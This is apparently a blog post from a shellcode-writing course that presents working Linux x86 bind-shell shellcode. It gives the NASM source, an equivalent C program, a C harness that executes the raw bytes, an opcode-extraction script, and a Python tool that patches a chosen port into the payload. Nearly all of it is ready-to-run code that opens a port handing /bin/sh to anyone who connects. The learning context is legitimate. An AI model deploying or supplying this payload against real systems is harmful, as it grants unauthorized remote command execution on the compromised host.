3 minute read

During SLAE32/SLAE64, I had a lot of fun writing x86 and x64 shellcode in NASM. In this post I will share my code of an x86 bind shell (linux), and some utilities to deploy shellcodes quicker. —–

NOTE: If you prefer, you can clone the repos here:

  1. my linux x86 shellcode collection
  2. my linux x64 shellcode collection

bind shell source code - NASM

global _start

section .text

_start:

  ;---------------------------------------------
  ; int socket(int domain, int type, int protocol 
  ;----------------------------------------------
  xor eax, eax ; eax = 0
  xor ebx, ebx ; ebx = 0
  xor edx, edx ; edx = 0 
  
  push ebx         ; protocol = 0 
  push 0x1         ; type = 1
  push 0x2         ; domain = 2 
  mov al, 0x66     ; socketcall 
  mov bl, 0x1      ; int call (SOCKET)
  lea  ecx, [esp]  ; pointer to arguments
  int 0x80         ; eax after call contains fd of the socket 


  ;-----------------------------
  ;int bind(int sockfd, const struct sockaddr *addr, int len) 
  ;--------------------------------------------
  mov esi,eax  ; esi contains fd , we keep it for later
  
  ;lets build sockaddr_in
  push edx     ; edx = 0, 0.0.0.0
  push word 0x3905  ; port 1337  (reverse order)  
  push word 0x2     ; family - AF_INET
  

  mov ecx, esp
  push 0x10    ; len 
  push ecx         ;pointer to struct
  push esi  ; esi = file descriptor
  mov al , 0x66
  mov bl , 0x2 
  mov ecx, esp 
  int 0x80 ;return 0 if working 


  ;----------------------------------------
  ; listen (sockfd, backlog) 
  ;---------------------------------
  push edx   ; backlog 
  push esi   ; sockfd (esi contains fd)
  mov edi, ebx ; we will use edi as counter later for dup2  
  
  mov al , 0x66 
  mov bl, 0x4   ; listen 
  mov ecx, esp  ; pointer to listen args   
  int 0x80   
 

  ;---------------------------------
  ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  ;---------------------
  push edx ; null pointer to socklen 
  push edx ; null pointer to socckaddr 
  push esi ; sockfd 

  mov al, 0x66
  mov bl , 0x5 ;accept 
  mov ecx, esp
  int 0x80 

  ;----------------------------
  ; int dup2(int oldfd, int newfd)
  ;-----------------------------
  
  mov ebx, eax  ; eax points to oldfd returned from accept 
  xchg ecx, edi  ; ecx is now a counter with value 2 
  inc ecx        ; so can loop better
  mov al, 0x3f 
  
dup2:


    dec ecx 
    ;call dup2
    mov al,0x3f ; syscall for dup2 
    ;ebx already set
    ;ecx - newfd, already set 
    int 0x80 
 
    ;loop 
    jnz dup2        


  ;-------------------------------
  ; int execve(const char *filename, char *const argv[], char *const envp[]);
  ;----------------------------
  push edx ; envp 
  push edx ; argv 
  push 0x68732F6E
  push 0x69622F2F ;//bin/sh, filename 
  mov ebx, esp  ; *filename 
  mov al, 0xb ; syscall for execve 
  int 0x80 

compiling and testing

For compiling, you can use a quick wrapper of nasm:

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'

also you can use a quick shellcode extractor like this:

name=$1
out=$(objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g')
echo "---------- opcodes -------"
echo "$out"
echo "--------------------------"
if [[ $out  =~ "\x00" ]]
then 
    echo "attention, null byte found:"
    echo $out | grep --color=auto "\x00" 
    echo "--------"
    objdump -D $1 -M intel | grep 00
    echo "--------"
fi
if [[ $out  =~ "\x0a" ]]
then 
    echo "attention, new line byte found:"
    echo $out | grep --color=auto "\x0a" 
    echo "--------"
    objdump -D $1 -M intel | grep 0a
    echo "--------"
fi

for testing the shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xd2\x53\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x8d\x0c\x24\xcd\x80\x89\xc6\x52\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x56\x89\xdf\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x52\x52\x56\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x87\xcf\x41\xb0\x3f\x49\xb0\x3f\xcd\x80\x75\xf9\x52\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

and some python utilities for example to convert in littlendian strings etc:

#!/usr/bin/env python2

def littlen(s):
    s = s.encode("hex")
    s = bytearray.fromhex(s)
    s.reverse()
    return ''.join(format(x,'02x') for x in s).upper()
    

def pushstr(s):
    s = littlen(s)
    for i in range(0, len(s),8):
        print "push " +  s[i:i+8] 

def str2bytes(s):
    s = s.encode("hex")
    s = bytearray.fromhex(s)
    return ''.join(format(x,'02x') for x in s).upper()



c source for reference


#include <sys/socket.h>
#include <sys/types.h>         
#include <stdio.h>
#include <netinet/in.h>



int main() {
  int sockfd = socket(2,1,0);
  
  struct sockaddr_in st;
  st.sin_family = 2;
  st.sin_port = htons(1337);


  inet_aton("0.0.0.0", &st.sin_addr.s_addr);
  int r = bind(sockfd, ( struct sockaddr *) &st, sizeof(st));

  listen(sockfd, 0);
  int fd = accept(sockfd, NULL, NULL);
  
  int i;
  for(i=0; i<=2;i++) {
   dup2(fd, i);
  }

  execve("/bin/sh", NULL ,NULL); 
  return 0;
}

change port of the bind shellcode without recompiling


import argparse

parser = argparse.ArgumentParser(description='Quickly set the port for a x86 linux bind shellcode\n')
parser.add_argument('port', metavar='p', type=int, nargs=1,
                    help='port number')

args =parser.parse_args()
port =args.port[0]

#error checking
if (port > 66535 or port < 0):
    print("[LOG]: insert a valid port number!")
    exit(1)

#convert int to hex and format it 
port = '{0:0{1}X}'.format(port,4)
port = '\\x' + '\\x'.join(port[i:i+2] for  i in range(0, len(port), 2))
shellcode =r'"\x31\xc0\x31\xdb\x31\xd2\x53\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x8d\x0c\x24\xcd\x80\x89\xc6\x52\x66\x68' + port  + r'\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x52\x56\x89\xdf\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x52\x52\x56\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x89\xc3\x87\xcf\x41\xb0\x3f\x49\xb0\x3f\xcd\x80\x75\xf9\x52\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";'
print(shellcode)

Categories:

Updated: